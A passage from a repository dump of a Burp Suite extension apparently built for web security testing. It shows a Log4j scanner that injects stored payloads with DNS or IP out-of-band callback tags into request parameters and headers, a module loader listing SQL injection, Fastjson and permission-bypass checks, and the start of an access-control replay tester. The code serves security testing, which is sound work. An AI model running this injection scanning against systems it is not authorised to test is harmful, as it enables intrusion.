JCheckBox(I18nUtils.get(\"log4j.checkbox.passive\"));\n        // 添加删除原始值选择框\n        originalValueCheckBox = new JCheckBox(I18nUtils.get(\"log4j.checkbox.original\"));\n        // 添加检测cookie选择框\n        checkParmamCheckBox = new JCheckBox(I18nUtils.get(\"log4j.checkbox.params\"));\n        // 添加检测header选择框\n        checkHeaderCheckBox = new JCheckBox(I18nUtils.get(\"log4j.checkbox.headers\"));\n        // 添加白名单域名检测选择框\n        checkWhiteListCheckBox = new JCheckBox(I18nUtils.get(\"log4j.checkbox.whitelist\"));\n        isDnsOrIpCheckBox = new JCheckBox(I18nUtils.get(\"log4j.checkbox.dns_ip\"));\n        // 白名单域名保存按钮\n        saveWhiteListButton = new JButton(I18nUtils.get(\"log4j.button.save_whitelist\"));\n        // 保存header按钮\n        saveHeaderListButton = new JButton(I18nUtils.get(\"log4j.button.save_header\"));\n        // 白名单域名输入框列表\n        whiteListTextArea = new JTextArea(5,10);\n        whiteListTextArea.setLineWrap(false); // 自动换行\n        whiteListTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane whiteListTextAreascrollPane = new JScrollPane(whiteListTextArea);\n\n        // header检测数据框列表\n        headerTextArea = new JTextArea(5,10);\n        headerTextArea.setLineWrap(false); // 自动换行\n        headerTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane headerTextAreascrollPane = new JScrollPane(headerTextArea);\n        // 刷新表格按钮\n        refreshTableButton = new JButton(I18nUtils.get(\"log4j.button.refresh\"));\n        // 清空表格按钮\n        clearTableButton = new JButton(I18nUtils.get(\"log4j.button.clear\"));\n        // 白名单域名label\n        JLabel whiteDomainListLabel = new JLabel(I18nUtils.get(\"log4j.label.whitelist\"));\n        // 检测header label\n        JLabel headerLabel = new JLabel(I18nUtils.get(\"log4j.label.header\"));\n\n        // 添加到右边的上部分 - 重新设计布局\n        JPanel rightTopPanel = new JPanel();\n        rightTopPanel.setLayout(new BorderLayout());\n        rightTopPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));\n\n        // 创建扫描选项面板\n        JPanel scanOptionsPanel = new JPanel();\n        scanOptionsPanel.setLayout(new GridLayout(2, 3, 5, 5));\n        scanOptionsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"log4j.border.scan_options\")));\n        scanOptionsPanel.add(passiveScanCheckBox);\n        scanOptionsPanel.add(originalValueCheckBox);\n        scanOptionsPanel.add(checkParmamCheckBox);\n        scanOptionsPanel.add(checkHeaderCheckBox);\n        scanOptionsPanel.add(checkWhiteListCheckBox);\n        scanOptionsPanel.add(isDnsOrIpCheckBox);\n\n        // 创建配置面板\n        JPanel configPanel = new JPanel();\n        configPanel.setLayout(new BorderLayout(5, 5));\n        configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"log4j.border.configuration\")));\n\n        // 白名单域名配置\n        JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5));\n        whitelistPanel.add(whiteDomainListLabel, BorderLayout.NORTH);\n        whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER);\n        JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        whitelistButtonPanel.add(saveWhiteListButton);\n        whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH);\n\n        // Header检测配置\n        JPanel headerPanel = new JPanel(new BorderLayout(5, 5));\n        headerPanel.add(headerLabel, BorderLayout.NORTH);\n        headerPanel.add(headerTextAreascrollPane, BorderLayout.CENTER);\n        JPanel headerButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        headerButtonPanel.add(saveHeaderListButton);\n        headerPanel.add(headerButtonPanel, BorderLayout.SOUTH);\n\n        // 将白名单和Header配置放入分割面板\n        JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        configSplitPane.setResizeWeight(0.5);\n        configSplitPane.setDividerLocation(0.5);\n        configSplitPane.setTopComponent(whitelistPanel);\n        configSplitPane.setBottomComponent(headerPanel);\n        configPanel.add(configSplitPane, BorderLayout.CENTER);\n\n        // 创建操作按钮面板\n        JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));\n        actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"log4j.border.actions\")));\n        actionButtonsPanel.add(refreshTableButton);\n        actionButtonsPanel.add(clearTableButton);\n\n        // 将所有面板放入主面板\n        JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        mainRightSplitPane.setResizeWeight(0.3);\n        mainRightSplitPane.setDividerLocation(0.3);\n        mainRightSplitPane.setTopComponent(scanOptionsPanel);\n        \n        JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5));\n        configAndActionsPanel.add(configPanel, BorderLayout.CENTER);\n        configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH);\n        mainRightSplitPane.setBottomComponent(configAndActionsPanel);\n        \n        rightTopPanel.add(mainRightSplitPane, BorderLayout.CENTER);\n\n        rightSplitPane.setTopComponent(rightTopPanel);\n\n\n        // 右边的下部分左边\n        // log4j payload label\n        JLabel PayloadLabel = new JLabel(I18nUtils.get(\"log4j.label.payload\"));\n        // log4j payload输入框\n        // log4j payload保存按钮\n        payloadTextArea = new JTextArea(5,10);\n        payloadTextArea.setLineWrap(false); // 自动换行\n        payloadTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane payloadTextAreascrollPane = new JScrollPane(payloadTextArea);\n        savePayloadButton = new JButton(I18nUtils.get(\"log4j.button.save_payload\"));\n        JPanel rightDownLeftPanel = new JPanel();\n        rightDownLeftPanel.setLayout(new BorderLayout(5, 5));\n        rightDownLeftPanel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));\n        rightDownLeftPanel.add(PayloadLabel, BorderLayout.NORTH);\n        rightDownLeftPanel.add(payloadTextAreascrollPane, BorderLayout.CENTER);\n        JPanel payloadButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        payloadButtonPanel.add(savePayloadButton);\n        rightDownLeftPanel.add(payloadButtonPanel, BorderLayout.SOUTH);\n\n\n        // 左右分割面板添加rightDownLeftPanel和rightDownRightPanel\n        JPanel rightDownPanel = new JPanel(new BorderLayout());\n        rightDownPanel.add(rightDownLeftPanel, BorderLayout.CENTER);\n        rightSplitPane.setBottomComponent(rightDownPanel);\n\n        // 添加到splitPane\n        splitPane.add(leftSplitPane, BorderLayout.CENTER);\n        splitPane.add(rightSplitPane, BorderLayout.EAST);\n        panel.add(splitPane, BorderLayout.CENTER);\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"Log4jScan\";\n    }\n    // 添加数据\n    public static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) {\n        synchronized (log4jlog) {\n            int id = log4jlog.size();\n            log4jlog.add(new Log4jEntry(id, extensionMethod, url, status, res, baseRequestResponse));\n            log4jtable.updateUI();\n        }\n\n    }\n\n    // 获取请求包的tag\n    private static String getReqTag(IHttpRequestResponse baseRequestResponse, IRequestInfo req, String type) {\n        // 获取并处理URI\n        String uri = req.getHeaders().get(0).split(\" \")[1].split(\"\\\\?\")[0].replace(\"/\", \".\");\n\n        // 如果URI超过25个字符，截取并处理结尾的点号\n        if (uri.length() > 25) {\n            uri = uri.substring(0, 25);\n            if (uri.endsWith(\".\")) {\n                uri = uri.substring(0, uri.length() - 1);\n            }\n        }\n\n        // 处理URI末尾的点号\n        if (uri.endsWith(\".\")) {\n            uri = uri.substring(0, uri.length() - 1);\n        }\n\n        // 构建最终标签\n        String tag = req.getMethod() + \".\" + baseRequestResponse.getHttpService().getHost() + uri;\n        return \"dns\".equalsIgnoreCase(type) ? tag + \".\" : tag;\n    }\n\n    // 检测核心方法\n    public static void Check(IHttpRequestResponse[] messageInfo, boolean isSend) {\n        lock.lock();\n        try{\n            IHttpRequestResponse baseRequestResponse = messageInfo[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            List<String> reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            String method = analyzeRequest.getMethod();\n            String host = baseRequestResponse.getHttpService().getHost();\n            URL rdurlURL = analyzeRequest.getUrl();\n            String url = analyzeRequest.getUrl().toString();\n            List<IParameter> paraLists = analyzeRequest.getParameters();\n\n            // 如果method不是get或者post方式直接返回\n            if (!method.equals(\"GET\") && !method.equals(\"POST\")) {\n                return;\n            }\n            // url 中匹配为静态资源\n            if (Utils.isUrlBlackListSuffix(url)){\n                return;\n            }\n            // 如果没有开启检测参数和检测header 并且参数没有值 直接返回\n            if (!isCheckParam && !isCheckHeader) {\n                return;\n            }\n\n            // 判断参数类型，不符合的直接跳过检测\n            boolean ruleHit = true; // 默认设置为true，表示命中规则\n            for (IParameter para : paraLists) {\n                if ((para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON)\n                        || isCheckHeader) {\n                    ruleHit = false; // 如果有 URL、BODY、JSON 参数或者开启了header 检测，则不命中规则\n                    break;\n                }\n            }\n            if (ruleHit) {\n                return; // 如果命中规则，则直接返回\n            }\n\n\n            // 如果不是手动发送则需要进行url去重\n            if (!isSend) {\n                if (!UrlCacheUtil.checkUrlUnique(\"log4j\", method, rdurlURL, paraLists)) {\n                    return;\n                }\n            }else {\n                isCheckWhiteList = false;\n            }\n\n            if (isCheckWhiteList) {\n                // 如果未匹配到 直接返回\n                if (!Utils.isMatchDomainName(host,domainList)){\n                    return;\n                }\n            }\n            // 加入payload前先清空列表\n            log4jPayload.clear();\n            // 将数据库中的payload加入到列表\n            for (String log4j : payloadList) {\n                if (isOriginalValue) {\n                    log4jPayload.add(log4j);\n                } else {\n                    if (log4j.contains(\"dnslog-url\")) {\n                        if (isDnsOrIp) {\n                            String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, \"dns\");\n                            // 新增：为log4j dnslog payload加前缀\n                            String log4jDnslogPayload = logPrefix + \"log4j.\" + dns;\n                            log4jPayload.add(log4j.replace(\"dnslog-url\", log4jDnslogPayload));\n                        } else {\n                            String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, \"ip\");\n                            // 新增：为log4j ip payload加前缀\n                            String log4jIpPayload = ip + \"/log4j.\" + logPrefix;\n                            log4jPayload.add(log4j.replace(\"dnslog-url\", log4jIpPayload));\n                        }\n                    } else {\n                        log4jPayload.add(log4j);\n                    }\n                }\n            }\n\n            // 检测参数\n            if (isCheckParam) {\n                for (IParameter para : paraLists) {\n                    if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) {\n                        String paraName = para.getName();\n                        String paraValue = para.getValue();\n                        // 判断参数是否在url中\n                        if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) {\n                            for (String logPayload : log4jPayload) {\n                                // 如果是在get请求中，需要对payload进行url编码\n                                if (para.getType() == PARAM_URL) {\n                                    logPayload = Utils.UrlEncode(logPayload);\n                                }\n                                IParameter iParameter = Utils.helpers.buildParameter(paraName, logPayload, para.getType());\n                                byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter);\n                                IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);\n                                IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());\n                                byte[] log4jresponseBody = newRequestResponse.getResponse();\n                                String ParamLength = \"\";\n                                String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode());\n                                if (log4jresponseBody != null) {\n                                    // 判断有无Content-Length字段\n                                    IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(log4jresponseBody);\n                                    List<String> log4jHeaders = ReqResponse.getHeaders();\n                                    String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, \"Content-Length\");\n                                    if (contentLength != null){\n                                        ParamLength = contentLength;\n                                    }\n                                }\n                                if (ParamLength.isEmpty()) {\n                                    assert log4jresponseBody != null;\n                                    ParamLength = String.valueOf(log4jresponseBody.length);\n                                }\n                                add(method, url, ParamstatusCode, ParamLength, newRequestResponse);\n                            }\n\n                        }\n                        // 判断参数是否在json中\n                        if (para.getType() == PARAM_JSON) {\n                            for (String logPayload : log4jPayload) {\n                                String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split(\"\\r\\n\\r\\n\")[1];\n                                Map<String, Object> request_json = JSON.parseObject(request_data);\n                                List<Object> objectList = JsonUtils.updateJsonObjectFromStr(request_json, Utils.ReplaceChar(logPayload), 0);\n                                String json = \"\";\n                                for (Object o : objectList) {\n                                    json = JSON.toJSONString(o);\n                                }\n                                byte[] bytes = Utils.helpers.buildHttpMessage(reqheaders, json.getBytes());\n                                IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes);\n                                IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse());\n                                byte[] log4jresponseBody = newRequestResponse.getResponse();\n                                String ParamLength = \"\";\n                                String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode());\n                                if (log4jresponseBody != null) {\n                                    // 判断有无Content-Length字段\n                                    IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(log4jresponseBody);\n                                    List<String> log4jHeaders = ReqResponse.getHeaders();\n                                    String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, \"Content-Length\");\n                                    if (contentLength != null){\n                                        ParamLength = contentLength;\n                                    }\n                                }\n                                if (ParamLength.isEmpty()) {\n                                    assert log4jresponseBody != null;\n                                    ParamLength = String.valueOf(log4jresponseBody.length);\n                                }\n                                add(method, url, ParamstatusCode, ParamLength, newRequestResponse);\n\n                            }\n                            break;\n                        }\n                    }\n                }\n            }\n\n\n            // 检测header\n            if (isCheckHeader) {\n                byte[] byte_Request = baseRequestResponse.getRequest();\n                int bodyOffset = analyzeRequest.getBodyOffset();\n                int len = byte_Request.length;\n                byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len);\n                for (String logPayload : log4jPayload) {\n                    List<String> reqheaders2 = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n                    List<String> newReqheaders = new ArrayList<>();\n                    Iterator<String> iterator = reqheaders2.iterator();\n                    while (iterator.hasNext()) {\n                        String reqheader = iterator.next();\n                        for (String header : headerList) {\n                            if (reqheader.contains(header)) {\n                                iterator.remove();\n                                String newHeader = header + \": \" + logPayload;\n                                if (!newReqheaders.contains(newHeader)) {\n                                    newReqheaders.add(newHeader);\n                                }\n                            }\n                        }\n                    }\n                    for (String header : headerList) {\n                        String newHeader = header + \": \" + logPayload;\n//                    if (!reqheaders2.contains(header) && !newReqheaders.contains(newHeader)) {\n//                        newReqheaders.add(newHeader);\n//                    }\n                        newReqheaders.add(newHeader);\n                    }\n\n                    reqheaders2.addAll(newReqheaders);\n                    byte[] postMessage = Utils.helpers.buildHttpMessage(reqheaders2, body);\n                    IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage);\n                    byte[] responseBody = originalRequestResponse.getResponse();\n\n                    String originallength = \"\";\n                    String statusCode = \"\";\n                    if (responseBody != null) {\n                        IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody);\n                        List<String> log4jHeaders = originalReqResponse.getHeaders();\n                        statusCode = String.valueOf(originalReqResponse.getStatusCode());\n                        String contentLength = HelperPlus.getHeaderValueOf(log4jHeaders, \"Content-Length\");\n                        if (contentLength != null){\n                            originallength = contentLength;\n                        }\n                    }\n                    if (originallength.isEmpty()) {\n                        assert responseBody != null;\n                        originallength = String.valueOf(responseBody.length);\n                    }\n                    add(method, url, statusCode, originallength, originalRequestResponse);\n                }\n            }\n        }finally {\n            lock.unlock();\n        }\n    }\n\n    static class Log4jModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return log4jlog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 5;\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"#\";\n                case 1:\n                    return \"Method\";\n                case 2:\n                    return \"URL\";\n                case 3:\n                    return \"Status\";\n                case 4:\n                    return \"Length\";\n                default:\n                    return \"\";\n            }\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            Log4jEntry logEntry = log4jlog.get(rowIndex);\n            switch (columnIndex) {\n                case 0:\n                    return logEntry.id;\n                case 1:\n                    return logEntry.extensionMethod;\n                case 2:\n                    return logEntry.url;\n                case 3:\n                    return logEntry.res;\n                case 4:\n                    return logEntry.length;\n                default:\n                    return null;\n            }\n        }\n        \n        @Override\n        public Class<?> getColumnClass(int column) {\n            if (column == 0) {\n                return Integer.class;\n            }\n            return super.getColumnClass(column);\n        }\n    }\n\n    public static class Log4jEntry {\n        final int id;\n        final String extensionMethod;\n        final String url;\n        final String length;\n        final String res;\n\n        final IHttpRequestResponse requestResponse;\n\n        public Log4jEntry(int id, String extensionMethod, String url, String res, String length, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.extensionMethod = extensionMethod;\n            this.url = url;\n            this.length = length;\n            this.res = res;\n            this.requestResponse = requestResponse;\n        }\n    }\n\n    class URLTable extends JTable {\n        public URLTable(TableModel tableModel) {\n            super(tableModel);\n            setAutoCreateRowSorter(true);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n\n        }\n\n        @Override\n        public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) {\n            // 如果表格已排序，需要将视图索引转换为模型索引\n            int modelRow = rowIndex;\n            if (getRowSorter() != null) {\n                modelRow = convertRowIndexToModel(rowIndex);\n            }\n            \n            Log4jEntry logEntry = log4jlog.get(modelRow);\n            HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);\n            if (logEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = logEntry.requestResponse;\n\n            super.changeSelection(rowIndex, columnIndex, toggle, extend);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/MainUI.java",
    "content": "package burp.ui;\n\nimport burp.IBurpExtenderCallbacks;\nimport burp.ITab;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\n\npublic class MainUI extends JPanel implements ITab {\n    private static JTabbedPane mainPanel;\n    IBurpExtenderCallbacks callbacks;\n    public static Map<String, Boolean> moduleStatus;\n\n\n    public MainUI(IBurpExtenderCallbacks callbacks) {\n        this.callbacks = callbacks;\n        try {\n            mainPanel = new JTabbedPane();\n            for (int i = 0; i < init().size(); i++) {\n                Class<?> clazz = Class.forName(init().get(i));\n                UIHandler uiHandler = (UIHandler) clazz.newInstance();\n                uiHandler.init();\n                mainPanel.add(uiHandler.getTabName(), uiHandler.getPanel(callbacks));\n            }\n        }catch (Exception e ){\n            Utils.stderr.println(e.getMessage());\n        }\n    }\n\n    public static List<String> init() {\n        List<String> uiList = new ArrayList<>();\n        uiList.add(\"burp.ui.AuthUI\");\n        uiList.add(\"burp.ui.SqlUI\");\n        uiList.add(\"burp.ui.PermUI\");\n        uiList.add(\"burp.ui.FastjsonUI\");\n        uiList.add(\"burp.ui.Log4jUI\");\n        uiList.add(\"burp.ui.RouteUI\");\n        uiList.add(\"burp.ui.SocksUI\");\n        uiList.add(\"burp.ui.UrlRedirectUI\");\n        uiList.add(\"burp.ui.SimilarUI\");\n        uiList.add(\"burp.ui.ConfigUI\");\n        return uiList;\n    }\n\n    @Override\n    public String getTabCaption() {\n        return Utils.NAME;\n    }\n\n    @Override\n    public Component getUiComponent() {\n        return mainPanel;\n    }\n\n}"
  },
  {
    "path": "src/main/java/burp/ui/PermUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.PermBean;\nimport burp.ui.UIHepler.GridBagConstraintsHelper;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\nimport burp.utils.UrlCacheUtil;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.TableColumnModel;\nimport javax.swing.table.TableModel;\nimport java.awt.*;\nimport java.awt.datatransfer.Clipboard;\nimport java.awt.datatransfer.StringSelection;\nimport java.awt.event.ActionEvent;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport static burp.dao.PermDao.*;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 9:11\n */\npublic class PermUI implements UIHandler, IMessageEditorController, IHttpListener {\n    private JPanel panel; // 主面板\n    private static JTable permTable; // perm表格\n    private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求\n    private JTabbedPane tabbedPanereqresp; // 请求tab\n    private JPanel originPane; // 原始请求面板\n    private JPanel lowpermPane; // 低权限请求面板\n    private JPanel nopermPane; // 无权限请求面板\n    private JCheckBox passiveScanCheckBox; // 被动扫描选择框\n    private JCheckBox whiteDomainListCheckBox; // 白名单域名选择框\n    private JTextArea whiteDomainListTextArea; // 白名单域名输入框\n    private JButton saveWhiteDomainButton; // 保存白名单按钮\n    private JButton saveAuthDataButton; // 保存认证数据按钮\n    private JButton refreshButton; // 刷新按钮\n    private JButton clearButton; // 清空数据按钮\n    private JButton exportButton; // 导出按钮\n    private JTextArea lowPermAuthTextArea; // 低权限认证请求信息输入框\n    private JTextArea noPermAuthTextArea; // 无权限认证请求信息输入框\n    private IMessageEditor originarequest;  // 原始请求\n    private IMessageEditor originaresponse; // 原始响应\n    private IMessageEditor lowpermrequest; // 低权限请求\n    private IMessageEditor lowpermresponse; // 低权限响应\n    private IMessageEditor nopermrequest; // 无权限请求\n    private IMessageEditor nopermresponse; // 无权限响应\n    private static final List<PermEntry> permlog = new ArrayList<>(); // permlog 用于存储请求\n    private static final List<String> parameterList = new ArrayList<>(); // 参数列表\n    private static final List<String> urlHashList = new ArrayList<>(); // url hash list\n    private static boolean ispassiveScan; // 是否被动扫描\n    private static boolean isWhiteDomainList; // 是否白名单\n    private static final Lock lock = new ReentrantLock();\n    \n    public static void resetAllCaches() {\n        urlHashList.clear();\n        parameterList.clear();\n        UrlCacheUtil.resetCache(\"perm\");\n    }\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {\n        if (ispassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) {\n            synchronized (permlog) {\n                Thread thread = new Thread(new Runnable() {\n                    @Override\n                    public void run() {\n                        Check(new IHttpRequestResponse[]{iHttpRequestResponse}, false);\n                    }\n                });\n                thread.start();\n            }\n        }\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void init() {\n        setupUI();\n        setupData();\n    }\n\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"PermAccess\";\n    }\n\n    // 初始化数据\n    private void setupData() {\n\n        // 白名单域名输入框\n        List<PermBean> whiteDomain = getPermListsByType(\"domain\");\n        for (PermBean permBean : whiteDomain) {\n            // 如果是最后一个，就不加换行符\n            if (whiteDomain.indexOf(permBean) == whiteDomain.size() - 1) {\n                whiteDomainListTextArea.setText(whiteDomainListTextArea.getText() + permBean.getValue());\n                break;\n            }\n            whiteDomainListTextArea.setText(whiteDomainListTextArea.getText() + permBean.getValue() + \"\\n\");\n        }\n\n        // permLowAuth输入框\n        List<PermBean> permBeanLowAuth = getPermListsByType(\"permLowAuth\");\n        for (PermBean permBean : permBeanLowAuth) {\n            // 如果是最后一个，就不加换行符\n            if (permBeanLowAuth.indexOf(permBean) == permBeanLowAuth.size() - 1) {\n                lowPermAuthTextArea.setText(lowPermAuthTextArea.getText() + permBean.getValue());\n                break;\n            }\n            lowPermAuthTextArea.setText(lowPermAuthTextArea.getText() + permBean.getValue() + \"\\n\");\n        }\n\n        // permNoAuth输入框\n        List<PermBean> permBeanNoAuth = getPermListsByType(\"permNoAuth\");\n        for (PermBean permBean : permBeanNoAuth) {\n            // 如果是最后一个，就不加换行符\n            if (permBeanNoAuth.indexOf(permBean) == permBeanNoAuth.size() - 1) {\n                noPermAuthTextArea.setText(noPermAuthTextArea.getText() + permBean.getValue());\n                break;\n            }\n            noPermAuthTextArea.setText(noPermAuthTextArea.getText() + permBean.getValue() + \"\\n\");\n        }\n        // 被动扫描选择框\n        passiveScanCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (passiveScanCheckBox.isSelected()) {\n                    ispassiveScan = true;\n                } else {\n                    ispassiveScan = false;\n                }\n            }\n        });\n        // 白名单域名选择框\n        whiteDomainListCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (whiteDomainListCheckBox.isSelected()) {\n                    isWhiteDomainList = true;\n                } else {\n                    isWhiteDomainList = false;\n                }\n            }\n        });\n        // 保存白名单\n        saveWhiteDomainButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String whiteDomainList = whiteDomainListTextArea.getText();\n                deletePerm(\"domain\");\n                if (whiteDomainList.contains(\"\\n\")) {\n                    String[] split = whiteDomainList.split(\"\\n\");\n                    for (String domain : split) {\n                        PermBean permBean = new PermBean(\"domain\", domain);\n                        savePerm(permBean);\n                    }\n                } else {\n                    PermBean permBean = new PermBean(\"domain\", whiteDomainList);\n                    savePerm(permBean);\n                }\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        // 保存认证数据\n        saveAuthDataButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String lowPermAuthText = lowPermAuthTextArea.getText();\n                String noPermAuthText = noPermAuthTextArea.getText();\n                deletePerm(\"permLowAuth\");\n                deletePerm(\"permNoAuth\");\n                if (lowPermAuthText.contains(\"\\n\")) {\n                    String[] split = lowPermAuthText.split(\"\\n\");\n                    for (String lowAuth : split) {\n                        PermBean permBean = new PermBean(\"permLowAuth\", lowAuth);\n                        savePerm(permBean);\n                    }\n                } else {\n                    PermBean permBean = new PermBean(\"permLowAuth\", lowPermAuthText);\n                    savePerm(permBean);\n                }\n                if (noPermAuthText.contains(\"\\n\")) {\n                    String[] split = noPermAuthText.split(\"\\n\");\n                    for (String noAuth : split) {\n                        PermBean permBean = new PermBean(\"permNoAuth\", noAuth);\n                        savePerm(permBean);\n                    }\n                } else {\n                    PermBean permBean = new PermBean(\"permNoAuth\", noPermAuthText);\n                    savePerm(permBean);\n                }\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n\n        // 刷新\n        refreshButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                permTable.updateUI();\n            }\n        });\n        // 清空\n        clearButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                permlog.clear();\n                originarequest.setMessage(new byte[0], true);\n                originaresponse.setMessage(new byte[0], false);\n                lowpermrequest.setMessage(new byte[0], false);\n                lowpermresponse.setMessage(new byte[0], false);\n                nopermrequest.setMessage(new byte[0], false);\n                nopermresponse.setMessage(new byte[0], false);\n                urlHashList.clear();\n                UrlCacheUtil.resetCache(\"perm\");  // 清空URL缓存\n                permTable.updateUI();\n            }\n        });\n        \n        // 导出\n        exportButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                exportTableToClipboard();\n            }\n        });\n    }\n\n    // 导出表格数据到剪切板\n    private void exportTableToClipboard() {\n        if (permlog.isEmpty()) {\n            JOptionPane.showMessageDialog(null, I18nUtils.get(\"perm.message.no_data\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            return;\n        }\n        \n        StringBuilder content = new StringBuilder();\n        // 添加表头\n        content.append(\"id\\tmethod\\turl\\toriginallength\\tlowlength\\tnolength\\tisSuccess\\n\");\n        \n        // 添加表格数据\n        for (PermEntry entry : permlog) {\n            content.append(entry.id).append(\"\\t\")\n                   .append(entry.method).append(\"\\t\")\n                   .append(entry.url).append(\"\\t\")\n                   .append(entry.originalength).append(\"\\t\")\n                   .append(entry.lowlength).append(\"\\t\")\n                   .append(entry.nolength).append(\"\\t\")\n                   .append(entry.isSuccess).append(\"\\n\");\n        }\n        \n        // 复制到剪切板\n        StringSelection stringSelection = new StringSelection(content.toString());\n        Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();\n        clipboard.setContents(stringSelection, null);\n        \n        JOptionPane.showMessageDialog(null, I18nUtils.get(\"perm.message.export_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n    }\n\n    // 初始化ui\n    private void setupUI() {\n        // 注册被动扫描监听器\n        Utils.callbacks.registerHttpListener(this);\n        panel = new JPanel();\n        